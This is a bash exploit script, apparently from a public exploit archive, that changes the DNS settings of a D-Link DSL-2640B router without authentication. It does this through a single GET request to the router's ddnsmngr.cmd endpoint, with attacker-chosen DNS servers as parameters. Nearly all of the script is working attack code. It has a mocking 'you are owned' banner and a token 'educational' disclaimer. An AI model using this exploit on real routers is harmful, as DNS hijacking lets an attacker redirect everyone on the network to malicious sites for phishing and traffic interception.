D-Link DSL-2640B Remote DNS Changer

`#!/bin/bash   
#   
# D-Link DSL-2640B Remote DNS Change Exploit   
# Description:   
# Different D-Link Routers are vulnerable to DNS change.   
# The vulnerability exist in the web interface, which is   
# accessible without authentication.   
#   
# Tested On Linux/ubuntu/Debian/All Other Linux   
# Compatible Core i86   
# Script Bash By Cryptolulz666   
# Use This For Educational Purphose   
if [[ $# -gt 3 || $# -lt 2 ]]; then   
echo " D-Link DSL-2640B Remote DNS Change Exploit"   
echo " ================================================================"   
echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"   
echo " Example: $0 192.168.1.1 8.8.8.8"   
echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"   
echo ""   
echo " Copyright none public "   
echo " security sucks ass "   
echo " this server is vuln and you are owned "   
exit;   
fi   
GET=`which GET 2>/dev/null`   
  
if [ $? -ne 0 ]; then   
echo " Error : libwww-perl not found =/"   
exit;   
fi  
  
GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1  
`